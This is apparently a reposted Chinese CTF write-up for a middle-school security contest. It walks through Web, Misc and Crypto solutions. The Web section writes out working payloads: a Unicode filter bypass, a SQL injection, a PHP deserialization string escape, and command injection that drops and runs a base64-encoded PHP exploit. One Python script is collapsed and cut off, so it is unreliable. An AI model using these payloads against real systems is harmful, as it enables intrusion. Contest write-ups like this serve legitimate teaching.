[第三届全国中学生网络安全竞赛初赛] WriteUp

Web

  • node

看源码发现需要增强攻击力后打Boss(即攻击力大于Boss的HP)获得Flag:

if(req.session.man.HP-req.session.boss.attack<=0)
    {
      res.send("you didn't kill boss at one time, so you have been killed by boss, just be stronger!");
    }

然后继续跟,在/admin路由处发现增强攻击力的代码:

if(name.toLowerCase()!=="admin"&&name.toUpperCase()==="ADMIN")
    {
      req.session.man.attack=300;
      res.send("you've been stronger")
    }

重点在于这里:

name.toLowerCase()!=="admin"&&name.toUpperCase()==="ADMIN

这里考察unicode字符安全,算是一个小tirck吧,也可以百度到文章:

https://blog.5am3.com/2020/02/11/ctf-node1/

构造POST请求参数:

name=admın

请求/admin之后提示攻击力增强:

访问/boss得到Flag:

  • unserialize

第一层SQL注入的一个小Trick,fuzz一下发现过滤了很多,但是双引号和=没有过滤,构造Payload:

"="

 得到源码:

<?php
include('flag.php');
error_reporting(0);
function replace($payload){
    $filter="/flag/i";
    return preg_replace($filter,"nono!",$payload);
};
$mss=$_GET['mss'];
$ctf['mss1']='webwebweb';
$ctf['mss2']='pwnpwnpwn';
if(isset($mss)){
    if(strpos($mss,'flag')>=0){
        $ctf['mss1']=$mss;
        $ctf=unserialize(replace(serialize($ctf)));
        if($ctf['mss2']==="webwebweb"){
            echo $flag;
        }else{
            echo "nonono!";
        }
    }
}
else{
    highlight_file(__FILE__);
}
?>

突破点在这里:

function replace($payload){
    $filter="/flag/i";
    return preg_replace($filter,"nono!",$payload);
};

这里的替换导致了字符串逃逸,思路就是利用字符串逃逸把mss2的值挤出去,构造目标mss的值,本地调一下:

<?php
function replace($payload){
    $filter="/flag/i";
    return preg_replace($filter,"nono!",$payload);
}; 
$ctf['mss1']='flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:4:"mss2";s:9:"webwebweb";}';
$ctf['mss2']='pwnpwnpwn'; 
var_dump(replace(serialize($ctf)));

得到payload:

mss=flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:4:"mss2";s:9:"webwebweb";}
  • Readme

过滤了空格,用$IFS$9替代,构造payload:

cat$IFS$9index.php

得到index.php源码:

<?php
    error_reporting(0);
    $blacklist=['sh',' print ',' printf ',' cat ',' open ',' read ',' vim ',' curl ',' ftp ',' glob ','|','`'];
    foreach ($blacklist as $blackitem) {
    if (preg_match('/'.$blackitem.'/',$_GET['a'])) {
    die("no no no");
    }}
    system($_GET[a]);
?>

同样办法读一下根目录文件,重点在于/readflag,尝试执行发现,发现需要输入参数y,然后就考虑用php交互,测试了一下发现/tmp目录有可写权限,然后就是构造exp来执行/readflag,RCTF2020里面也有过类似的考点。

本题/readflag大概流程就是输入y,然后需要做一个加法运算。正在挨个调的时候,发现一血出了,就看了一下/tmp目录,应该是蹭了一波车,正好看到/tmp目录下有一个exp,手快保存了一下:

<?php
$d = array();
$d[0]=array("pipe","r");
$d[1]=array("pipe","w");
$pr=proc_open("/readflag",$d,$pipes);
fwrite($pipes[0],"y
");
$op1='';
$op2='';
$inop=false;
while(1){
  $ch=stream_get_contents($pipes[1],1);
  echo $ch;
  if($ch=="+"){
    $inop=true;
  }
  if($ch=="="){
    break;
  }
  if(is_numeric($ch)){
    if($inop){
      $op2.=$ch;
    }else{
      $op1.=$ch;
    }
  }
}
fwrite($pipes[0],intval($op1)+intval($op2)."
");
echo stream_get_contents($pipes[1]);

构造一个写入文件的命令,把这个exp用base64编码一下:

php$IFS$9-r$IFS$9'file_put_contents("/tmp/1.php",base64_decode("PD9waHAKJGQgPSBhcnJheSgpOwokZFswXT1hcnJheSgicGlwZSIsInIiKTsKJGRbMV09YXJyYXkoInBpcGUiLCJ3Iik7CiRwcj1wcm9jX29wZW4oIi9yZWFkZmxhZyIsJGQsJHBpcGVzKTsKZndyaXRlKCRwaXBlc1swXSwieVxuIik7CiRvcDE9Jyc7CiRvcDI9Jyc7CiRpbm9wPWZhbHNlOwp3aGlsZSgxKXsKICAkY2g9c3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0sMSk7CiAgZWNobyAkY2g7CiAgaWYoJGNoPT0iKyIpewogICAgJGlub3A9dHJ1ZTsKICB9CiAgaWYoJGNoPT0iPSIpewogICAgYnJlYWs7CiAgfQogIGlmKGlzX251bWVyaWMoJGNoKSl7CiAgICBpZigkaW5vcCl7CiAgICAgICRvcDIuPSRjaDsKICAgIH1lbHNlewogICAgICAkb3AxLj0kY2g7CiAgICB9CiAgfQp9CmZ3cml0ZSgkcGlwZXNbMF0saW50dmFsKCRvcDEpK2ludHZhbCgkb3AyKS4iXG4iKTsKZWNobyBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRwaXBlc1sxXSk7"));'

这样exp就写进/tmp/1.php文件里了,然后用php命令执行:

php$IFS$9/tmp/1.php

得到Flag:

Misc

  • 签到题

用foremost可以分离出一张二维码:

扫描得到Flag:

  • Avicii

1.txt中文本是base64隐写,网上找来一个脚本:

def get_base64_diff_value(s1, s2):
    base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
    res = 0
    for i in xrange(len(s2)):
        if s1[i] != s2[i]:
            return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
    return res
def solve_stego(): with open('1.txt', 'rb') as f: file_lines = f.readlines() bin_str = '' for line in file_lines: steg_line = line.replace(' ', '') norm_line = line.replace(' ', '').decode('base64').encode('base64').replace(' ', '') diff = get_base64_diff_value(steg_line, norm_line) print diff pads_num = steg_line.count('=') if diff: bin_str += bin(diff)[2:].zfill(pads_num * 2) else: bin_str += '0' * pads_num * 2 print goflag(bin_str)
def goflag(bin_str): res_str = '' for i in xrange(0, len(bin_str), 8): res_str += chr(int(bin_str[i:i + 8], 2)) return res_str if __name__ == '__main__': solve_st

跑一下1.txt里面的内容得到key:doveee

再用zsteg看一下2.png可以得到隐写文本:

base64解码得到hint:'slienteye' is watching you~

根据hint提示在slienteye中拿base64隐写得到的key解密,得到Flag:

mssctf{Av1cii_F0rev3r!!}

  • 到底说了什么

内存取证题目,先用cmdscan查看命令行记录,发现一段对话,提忘记了电脑密码

直接用volatility的mimikatz插件就可以得到密码:w3lc0mE_7o-MSSCTF

filescan扫描一下发现有个key.txt和flag.txt

flag.txt是假的,然后打开看key.txt里面的内容如下,得到Key1(暂时不知道有什么用):

搜Users目录下的文件发现f_l_a_g文件:

下来发现是504B开头,用16进制解压出来得到压缩包,压缩包的密码就是前面用mimikatz出来的密码

解压得到1.eml文件,里面是各种emoji,emoji-aes加密,在https://aghorler.github.io/emoji-aes/解密即可:

先用之前得到的key1(key.txt里面的)解密消息得到hello!

然后拿hello!继续解密倒数第二条消息得到hi!

依次套娃解密下来,最终得到Flag:okhereyouare_mssctf{Y0u_@rE_5o_C1eveR!!!}

Crypto

  • easy_stream

55555555,人生中第一次做出来密码学的题,i了i了,感动完了

跟着加密流程一步一步逆,exp如下:

flag = ""


enc1 = [129, 118, 155, 13, 25, 216, 245, 11, 116, 213, 71, 73, 44, 121, 94, 200, 196, 213, 150, 108, 9, 121, 102, 215, 69, 191, 6, 27, 136, 219, 39, 152, 7, 8, 216, 149, 43, 8, 213, 166, 230, 51, 73, 133, 52, 245, 47, 139, 134, 211, 51, 82, 39, 157, 137, 137, 113, 154, 19, 49, 93, 108, 69, 102, 144, 98, 66, 140, 136, 1, 108, 55, 147, 88, 124, 124, 244, 62, 93, 53, 132, 68, 101]
enc2 = [187, 96, 132, 13, 2, 211, 253, 88, 115, 217, 19, 119, 40, 110, 68, 202, 222, 147, 174, 113, 19, 108, 119, 195, 91, 165, 1, 1, 210, 245, 43, 157, 17, 75, 205, 211, 33, 20, 201, 161, 178, 33, 77, 155, 34, 183, 15, 133, 142, 128, 38, 93, 50, 156, 196, 147, 113, 217, 10, 36, 67, 124, 66, 99, 159, 83, 74, 206, 152, 82, 117, 52, 161, 127, 63, 64, 205, 11, 99, 37, 131, 65, 108]
msg = 'mssctf'
msg *= len(enc1) // len(msg) + 1
#print(msg)
for i in range(len(enc1)):
    enc1[i] ^= ord(msg[i])
for i in range(len(enc2)):
    enc2[i] ^= enc1[i]
for i in range(len(enc2)):
    flag += chr(enc2[i])
print(flag)

点击即送屠龙宝刀:

Welcome to Xidian University.Have a good time!The flag is mssctf{We1c0me_T0_MSSctf}

原文地址:https://www.cnblogs.com/yesec/p/13669701.html